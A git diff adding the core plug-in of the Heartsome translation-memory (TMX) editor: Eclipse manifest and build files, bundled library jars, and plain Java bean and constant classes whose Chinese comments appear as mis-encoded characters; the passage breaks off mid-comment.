+eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6 +org.eclipse.jdt.core.compiler.compliance=1.6 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.6 diff --git a/te/net.heartsome.cat.te.core/META-INF/MANIFEST.MF b/te/net.heartsome.cat.te.core/META-INF/MANIFEST.MF new file mode 100644 index 0000000..2beb167 --- /dev/null +++ b/te/net.heartsome.cat.te.core/META-INF/MANIFEST.MF @@ -0,0 +1,39 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TE Core +Bundle-SymbolicName: net.heartsome.cat.te.core +Bundle-Version: 8.0.0.R8b_v20140103 +Bundle-Activator: net.heartsome.cat.te.core.Activator +Bundle-Vendor: Heartsome Technologies Ltd. +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + net.heartsome.cat.database;bundle-version="8.0.3", + net.heartsome.xml;bundle-version="8.0.1", + net.heartsome.cat.thirdpartlibrary;bundle-version="8.0.0", + org.eclipse.core.resources +Bundle-RequiredExecutionEnvironment: JavaSE-1.6 +Bundle-ActivationPolicy: lazy +Import-Package: net.heartsome.cat.common.bean, + net.heartsome.cat.common.innertag, + net.heartsome.cat.common.locale, + net.heartsome.cat.common.resources, + net.heartsome.cat.common.ui.utils, + net.heartsome.cat.common.util +Export-Package: net.heartsome.cat.te.core, + net.heartsome.cat.te.core.bean, + net.heartsome.cat.te.core.converter, + net.heartsome.cat.te.core.qa, + net.heartsome.cat.te.core.tmxdata, + net.heartsome.cat.te.core.utils, + net.heartsome.cat.te.core.utils.tmxvalidator +Bundle-ClassPath: lib/dom4j-1.6.1.jar, + lib/poi-3.9-20121203.jar, + lib/poi-excelant-3.9-20121203.jar, + lib/poi-ooxml-3.9-20121203.jar, + lib/poi-ooxml-schemas-3.9-20121203.jar, + lib/poi-scratchpad-3.9-20121203.jar, + lib/stax-api-1.0.1.jar, + lib/xmlbeans-2.3.0.jar, + ., + lib/saxon9he.jar, + lib/xercesImpl.jar diff --git a/te/net.heartsome.cat.te.core/build.properties b/te/net.heartsome.cat.te.core/build.properties new file mode 100644 index 0000000..3f347e3 --- /dev/null +++ b/te/net.heartsome.cat.te.core/build.properties @@ -0,0 +1,15 @@ +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + lib/dom4j-1.6.1.jar,\ + lib/poi-3.9-20121203.jar,\ + lib/poi-excelant-3.9-20121203.jar,\ + lib/poi-ooxml-3.9-20121203.jar,\ + lib/poi-ooxml-schemas-3.9-20121203.jar,\ + lib/poi-scratchpad-3.9-20121203.jar,\ + lib/stax-api-1.0.1.jar,\ + lib/xmlbeans-2.3.0.jar,\ + lib/saxon9he.jar,\ + res/,\ + lib/xercesImpl.jar diff --git a/te/net.heartsome.cat.te.core/lib/dom4j-1.6.1.jar b/te/net.heartsome.cat.te.core/lib/dom4j-1.6.1.jar new file mode 100644 index 0000000..c8c4dbb Binary files /dev/null and b/te/net.heartsome.cat.te.core/lib/dom4j-1.6.1.jar differ diff --git a/te/net.heartsome.cat.te.core/lib/poi-3.9-20121203.jar b/te/net.heartsome.cat.te.core/lib/poi-3.9-20121203.jar new file mode 100644 index 0000000..0f46288 Binary files /dev/null and b/te/net.heartsome.cat.te.core/lib/poi-3.9-20121203.jar differ diff --git a/te/net.heartsome.cat.te.core/lib/poi-excelant-3.9-20121203.jar b/te/net.heartsome.cat.te.core/lib/poi-excelant-3.9-20121203.jar new file mode 100644 index 0000000..cb403fa Binary files /dev/null and b/te/net.heartsome.cat.te.core/lib/poi-excelant-3.9-20121203.jar differ diff --git a/te/net.heartsome.cat.te.core/lib/poi-ooxml-3.9-20121203.jar b/te/net.heartsome.cat.te.core/lib/poi-ooxml-3.9-20121203.jar new file mode 100644 index 0000000..8792d46 Binary files /dev/null and b/te/net.heartsome.cat.te.core/lib/poi-ooxml-3.9-20121203.jar differ diff --git a/te/net.heartsome.cat.te.core/lib/poi-ooxml-schemas-3.9-20121203.jar b/te/net.heartsome.cat.te.core/lib/poi-ooxml-schemas-3.9-20121203.jar new file mode 100644 index 0000000..eda4ef4 Binary files /dev/null and b/te/net.heartsome.cat.te.core/lib/poi-ooxml-schemas-3.9-20121203.jar differ diff --git a/te/net.heartsome.cat.te.core/lib/poi-scratchpad-3.9-20121203.jar b/te/net.heartsome.cat.te.core/lib/poi-scratchpad-3.9-20121203.jar new file mode 100644 index 0000000..1520855 Binary files /dev/null and b/te/net.heartsome.cat.te.core/lib/poi-scratchpad-3.9-20121203.jar differ diff --git a/te/net.heartsome.cat.te.core/lib/saxon9he.jar b/te/net.heartsome.cat.te.core/lib/saxon9he.jar new file mode 100644 index 0000000..040e5e0 Binary files /dev/null and b/te/net.heartsome.cat.te.core/lib/saxon9he.jar differ diff --git a/te/net.heartsome.cat.te.core/lib/stax-api-1.0.1.jar b/te/net.heartsome.cat.te.core/lib/stax-api-1.0.1.jar new file mode 100644 index 0000000..d9a1665 Binary files /dev/null and b/te/net.heartsome.cat.te.core/lib/stax-api-1.0.1.jar differ diff --git a/te/net.heartsome.cat.te.core/lib/xercesImpl.jar b/te/net.heartsome.cat.te.core/lib/xercesImpl.jar new file mode 100644 index 0000000..d5f3e98 Binary files /dev/null and b/te/net.heartsome.cat.te.core/lib/xercesImpl.jar differ diff --git a/te/net.heartsome.cat.te.core/lib/xmlbeans-2.3.0.jar b/te/net.heartsome.cat.te.core/lib/xmlbeans-2.3.0.jar new file mode 100644 index 0000000..ccd8163 Binary files /dev/null and b/te/net.heartsome.cat.te.core/lib/xmlbeans-2.3.0.jar differ diff --git a/te/net.heartsome.cat.te.core/res/template.docx b/te/net.heartsome.cat.te.core/res/template.docx new file mode 100644 index 0000000..d1553e7 Binary files /dev/null and b/te/net.heartsome.cat.te.core/res/template.docx differ diff --git a/te/net.heartsome.cat.te.core/res/tmx14.dtd b/te/net.heartsome.cat.te.core/res/tmx14.dtd new file mode 100644 index 0000000..c8a8268 --- /dev/null +++ b/te/net.heartsome.cat.te.core/res/tmx14.dtd @@ -0,0 +1,268 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/Activator.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/Activator.java new file mode 100644 index 0000000..b3bdeed --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/Activator.java @@ -0,0 +1,50 @@ +package net.heartsome.cat.te.core; + +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.te.core"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/TeCoreConstant.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/TeCoreConstant.java new file mode 100644 index 0000000..e6d70e0 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/TeCoreConstant.java @@ -0,0 +1,62 @@ +/** + * TeCoreConstant.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.core; + +/** + * TE 代ç åŒºæ‰€ç”¨åˆ°çš„常é‡ç±» + */ +public final class TeCoreConstant { + public final static String QAResultViewer_ID = "net.heartsome.cat.te.tmxeditor.QAResultViewer"; + + /** subFile 文件å 与 tu position 组装æˆå”¯ä¸€æ ‡è¯†ç¬¦ç”¨åˆ°çš„ 分隔符 */ + public final static String ID_MARK = "\uFFF1"; + + + /** 系统过虑器id- 所有文本段 */ + public final static String FILTERID_allSeg = "te.system.filter.allSegment"; + /** 系统过虑器id- æºæ–‡å’Œè¯‘文相åŒçš„文本段 */ + public final static String FILTERID_srcSameWIthTgtSeg = "te.system.filter.srcSameWithTgtSeg"; + /** 系统过虑器id- æºæ–‡ç›¸åŒï¼Œè¯‘æ–‡ä¸åŒçš„文本段 */ + public final static String FILTERID_srcSameButTgtSeg = "te.system.filter.srcSameButTgtSeg"; + /** 系统过虑器id- 译文相åŒï¼Œæºæ–‡ä¸åŒçš„文本段 */ + public final static String FILTERID_tgtSameButSrcSeg = "te.system.filter.tgtSameButSrcSeg"; + /** 系统过滤器id- é‡å¤æ–‡æœ¬æ®µ */ + public final static String FILTERID_duplicateSeg = "te.system.filter.duplicateSeg"; + /** 系统过虑器id- 带有批注的文本段 */ + public final static String FILTERID_withNoteSeg = "te.system.filter.withNoteSeg"; + /** 系统过虑器id- 存在乱ç çš„文本段 */ + public final static String FILTERID_withGarbleSeg = "te.system.filter.withGarbleSeg"; + /** 系统过滤器id- 译文为空的文本段 */ + public final static String FILTERID_tgtNullSeg = "te.system.filter.tgtNullSeg"; + + /** tmx editor 是å¦å¿½ç•¥æ ‡è®°ï¼Œã€€qa 与 过滤器共用å‚数,该数æ®ä¿å­˜åœ¨ã€€te.core æ’件下 */ + public final static String FILTER_ignoreTag = "tmxEditorFilter.ignoreTag"; + /** tmx editor 是å¦å¿½ç•¥å¤§å°å†™ï¼Œqa 与 过滤器共用å‚数,该数æ®ä¿å­˜åœ¨ã€€te.core æ’件下 */ + public final static String FILTER_ignoreCase = "tmxEditorFilter.ignoreCase"; + + /** 自定义过滤器的æ“作类型 åŒ…å« */ + public final static String FILTER_TYPE_include = "include"; + /** 自定义过滤器的æ“作类型 ä¸åŒ…å« */ + public final static String FILTER_TYPE_notInclude = "notInclude"; + /** 自定义过滤器的æ“作类型 等于 */ + public final static String FILTER_TYPE_equal = "equal"; + /** 自定义过滤器的æ“作类型 ä¸ç­‰äºŽ */ + public final static String FILTER_TYPE_notEqual = "notEqual"; + + /** 更改应用到当å‰è¿‡æ»¤ç»“æžœ */ + public final static String FILTERID_filteredSegs = "filteredSegs"; + /** 更改应用到指定文本段 */ + public final static String FILTERID_givenSegs = "givenSegs"; + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/ExportBean.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/ExportBean.java new file mode 100644 index 0000000..1f5408e --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/ExportBean.java @@ -0,0 +1,72 @@ +/** + * ExportBean.java + * + * Version information : + * + * Date:2013-12-26 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.bean; + +import java.util.List; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class ExportBean { + + private int exportScope; + + private String targetFile; + + private boolean isAppend; + + private List selectIds; + + public ExportBean() { + } + + public ExportBean(int exportScope, String targetFile, boolean isAppend) { + this.exportScope = exportScope; + this.targetFile = targetFile; + this.isAppend = isAppend; + } + + public int getExportScope() { + return exportScope; + } + + public void setExportScope(int exportScope) { + this.exportScope = exportScope; + } + + public String getTargetFile() { + return targetFile; + } + + public void setTargetFile(String targetFile) { + this.targetFile = targetFile; + } + + public boolean isAppend() { + return isAppend; + } + + public void setAppend(boolean isAppend) { + this.isAppend = isAppend; + } + + public List getSelectIds() { + return selectIds; + } + + public void setSelectIds(List selectIds) { + this.selectIds = selectIds; + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/File2TmxConvertBean.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/File2TmxConvertBean.java new file mode 100644 index 0000000..2995334 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/File2TmxConvertBean.java @@ -0,0 +1,30 @@ +/** + * File2TmxConvertBean.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + + + +package net.heartsome.cat.te.core.bean; + +import java.util.Map; + + +public class File2TmxConvertBean { + public String sourceFilePath; + public String srcLangCode; + public String tgtLangCode; + public Map customeAttr; + public String newTmxFilePath; + public String appendExistTmxFilePath; + public boolean saveType; + public boolean isOpenTmx; +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/PairFileBean.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/PairFileBean.java new file mode 100644 index 0000000..1f4877a --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/PairFileBean.java @@ -0,0 +1,95 @@ +/** + * PairFileBean.java + * + * Version information : + * + * Date:2013-8-22 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.bean; + +import net.heartsome.cat.common.locale.Language; + +/** + * 文件é…对 + * @author Austen + * @version + * @since JDK1.6 + */ +public class PairFileBean { + + /** ç”Ÿæˆ tmx çš„æºè¯­è¨€. */ + private Language srcLanguage; + private String srcPath; + + /** ç”Ÿæˆ tmx 的目标语言. */ + private Language tgtLanguage; + private String tgtPath; + + /** saveAsUri. */ + private String savePath; + + private boolean machineTrans = false; + private boolean openAfterPair = true; + + public Language getSrcLanguage() { + return srcLanguage; + } + + public void setSrcLanguage(Language srcLanguage) { + this.srcLanguage = srcLanguage; + } + + public String getSrcPath() { + return srcPath; + } + + public void setSrcPath(String srcPath) { + this.srcPath = srcPath; + } + + public Language getTgtLanguage() { + return tgtLanguage; + } + + public void setTgtLanguage(Language tgtLanguage) { + this.tgtLanguage = tgtLanguage; + } + + public String getTgtPath() { + return tgtPath; + } + + public void setTgtPath(String tgtPath) { + this.tgtPath = tgtPath; + } + + public String getSavePath() { + return savePath; + } + + public void setSavePath(String savePath) { + this.savePath = savePath; + } + + public boolean isMachineTrans() { + return machineTrans; + } + + public void setMachineTrans(boolean machineTrans) { + this.machineTrans = machineTrans; + } + + public boolean isOpenAfterPair() { + return openAfterPair; + } + + public void setOpenAfterPair(boolean openAfterPair) { + this.openAfterPair = openAfterPair; + } + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/Property.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/Property.java new file mode 100644 index 0000000..3c98a07 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/Property.java @@ -0,0 +1 @@ +package net.heartsome.cat.te.core.bean; /** * 键值对的形å¼ï¼Œå…¶ä¸­é”®å¯ä»¥é‡å¤ã€‚ * @author robert 2013-07-19 */ public class Property { private String key; private String value; public Property(){ } public Property(String key, String value){ this.key = key; this.value = value; } public String getKey() { return key; } public void setKey(String key) { this.key = key; } public String getValue() { return value; } public void setValue(String value) { this.value = value; } } \ No newline at end of file diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/SimpleTUData.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/SimpleTUData.java new file mode 100644 index 0000000..b920c26 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/SimpleTUData.java @@ -0,0 +1,109 @@ +package net.heartsome.cat.te.core.bean; + +import net.heartsome.cat.common.util.TextUtil; + +public class SimpleTUData { + + private String modifyTime; + + private String srcText; + + private String tgtText; + + private String tuId; + + public SimpleTUData() { + } + + /** + * @param srcText + * @param tgtText + * @param tuId + * @param modifyTime + */ + public SimpleTUData(String srcText, String tgtText, String tuId, String modifyTime) { + super(); + if (null != srcText) { + this.srcText = TextUtil.trimString(srcText); + } + if (null != tgtText) { + this.tgtText = TextUtil.trimString(tgtText); + } + this.tuId = tuId; + this.modifyTime = modifyTime; + } + + public String getModifyTime() { + return this.modifyTime; + } + + public String getSrcText() { + return this.srcText; + } + + public String getTgtText() { + return this.tgtText; + } + + public String getTuId() { + return this.tuId; + } + + public boolean isEmpty() { + if (null == tuId) { + return true; + } + if (null == srcText && null == tgtText) { + return true; + } + return false; + } + + public boolean isDulicateEquals(SimpleTUData other, boolean ignoreCase) { + if (ignoreCase) { + if (this.getSrcText().equalsIgnoreCase(other.getSrcText()) + && this.getTgtText().equalsIgnoreCase(other.getTgtText())) { + return true; + } else { + return false; + } + } else { + if (this.getSrcText().equals(other.getSrcText()) && this.getTgtText().equals(other.getTgtText())) { + return true; + } else { + return false; + } + } + } + + public boolean isSrcSameDiffTgtEquals(SimpleTUData other, boolean ignoreCase) { + if (ignoreCase) { + return this.getSrcText().equalsIgnoreCase(other.getSrcText()); + } else { + return this.getSrcText().equals(other.getSrcText()); + + } + } + + public void setModifyTime(String modifyTime) { + this.modifyTime = modifyTime; + } + + public void setSrcText(String srcText) { + this.srcText = srcText; + } + + public void setTgtText(String tgtText) { + this.tgtText = tgtText; + } + + public void setTuId(String tuId) { + this.tuId = tuId; + } + + @Override + public String toString() { + return tuId + " " + "[" + modifyTime + "][" + srcText + "] " + " [" + tgtText + "]"; + } + +} \ No newline at end of file diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/TmxConvert2FileBean.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/TmxConvert2FileBean.java new file mode 100644 index 0000000..4da6e46 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/TmxConvert2FileBean.java @@ -0,0 +1,26 @@ +/** + * TmxConvert2FileBean.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + + + +package net.heartsome.cat.te.core.bean; + +import java.util.List; + + +public class TmxConvert2FileBean { + public List tmxFilePath; + public int targetFileType; + public boolean isNewTargetPath; + public String newTargetPath; +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/TmxEditorFilterBean.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/TmxEditorFilterBean.java new file mode 100644 index 0000000..d644794 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/TmxEditorFilterBean.java @@ -0,0 +1,149 @@ +/** + * TmxEditorFilterbean.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.core.bean; + +import java.util.List; + +/** + * 过滤器规则å°è£…ç±» + * @author robert 2013-06-19 + */ +public class TmxEditorFilterBean { + /** 唯一标识一个 filter 的属性 */ + private String id; + /** 过虑器的æ述,å³å称 */ + private String name; + /** 该过虑器是å¦å¯ç”¨ */ + private boolean useable; + private boolean custom; + /** 是å¦æ»¡è¶³å½“å‰è¿‡æ»¤å™¨çš„所有æ¡ä»¶ï¼Œtrue:满足所有æ¡ä»¶ï¼Œã€€false:满足以下任æ„一æ¡ä»¶ */ + private boolean fitAll; + /** æºæ–‡çš„过滤æ¡ä»¶ */ + private List srcFilter; + /** 译文的过滤æ¡ä»¶ */ + private List tgtFilter; + /** 批注的过滤æ¡ä»¶ */ + private List noteFilter; + /** 固定属性的过滤æ¡ä»¶ï¼Œé’ˆå¯¹äºŽã€€tu 头的属性 */ + private List fixedPropFilter; + /** 自定义属性的过滤æ¡ä»¶ï¼Œé’ˆå¯¹ã€€tu 节点下的 prop 节点 */ + private List customPropFilter; + + /** 针对过滤æ¡ä»¶çš„æŸ¥è¯¢è¯­å¥ */ + private String xpath; + + public TmxEditorFilterBean(){ } + + /** + * 该构造函数专为 系统过滤器而开 + * @param id + * @param name + */ + public TmxEditorFilterBean(String id, String name, String xpath){ + this.id = id; + this.name = name; + this.xpath = xpath; + } + + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public boolean isUseable() { + return useable; + } + + public void setUseable(boolean useable) { + this.useable = useable; + } + + public String getId() { + return id; + } + + public void setId(String id) { + this.id = id; + } + + public List getSrcFilter() { + return srcFilter; + } + + public void setSrcFilter(List srcFilter) { + this.srcFilter = srcFilter; + } + + public List getTgtFilter() { + return tgtFilter; + } + + public void setTgtFilter(List tgtFilter) { + this.tgtFilter = tgtFilter; + } + + public List getNoteFilter() { + return noteFilter; + } + + public void setNoteFilter(List noteFilter) { + this.noteFilter = noteFilter; + } + + public List getFixedPropFilter() { + return fixedPropFilter; + } + + public void setFixedPropFilter(List fixedPropFilter) { + this.fixedPropFilter = fixedPropFilter; + } + + public List getCustomPropFilter() { + return customPropFilter; + } + + public void setCustomPropFilter(List customPropFilter) { + this.customPropFilter = customPropFilter; + } + + public boolean isFitAll() { + return fitAll; + } + + public void setFitAll(boolean fitAll) { + this.fitAll = fitAll; + } + + public boolean isCustom() { + return custom; + } + + public void setCustom(boolean custom) { + this.custom = custom; + } + + public String getXpath() { + return xpath; + } + + public void setXpath(String xpath) { + this.xpath = xpath; + } + + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/TmxEditorSelection.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/TmxEditorSelection.java new file mode 100644 index 0000000..b69603c --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/TmxEditorSelection.java @@ -0,0 +1,66 @@ +/** + * TmxEditorSelection.java + * + * Version information : + * + * Date:2013-6-9 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.bean; + +import java.util.LinkedHashMap; +import java.util.Map; + +import net.heartsome.cat.common.bean.TmxTU; + +/** + * @author Austen + * @version + * @since JDK1.6 + */ +public class TmxEditorSelection { + + private String identifier; + private int selectedColumn = -1; + private LinkedHashMap selectedTus; + + public String getIdentifier() { + return identifier; + } + + public void setIdentifier(String identifier) { + this.identifier = identifier; + } + + public int getSelectedColumn() { + return selectedColumn; + } + + public void setSelectedColumn(int selectedColumn) { + this.selectedColumn = selectedColumn; + } + + public void addTu(String identifier, TmxTU tu) { + if (selectedTus == null) { + selectedTus = new LinkedHashMap(); + } + selectedTus.put(identifier, tu); + } + + public TmxTU getTu(String identifier) { + return selectedTus.get(identifier); + } + + public Map getTus() { + return selectedTus == null ? new LinkedHashMap() : selectedTus; + } + + public TmxTU getDisplayTu() { + return selectedTus == null ? null : selectedTus.get(identifier); + } + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/TmxPropertiesBean.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/TmxPropertiesBean.java new file mode 100644 index 0000000..cd0b033 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/TmxPropertiesBean.java @@ -0,0 +1,168 @@ +/** + * TmxPropertiesBean.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ 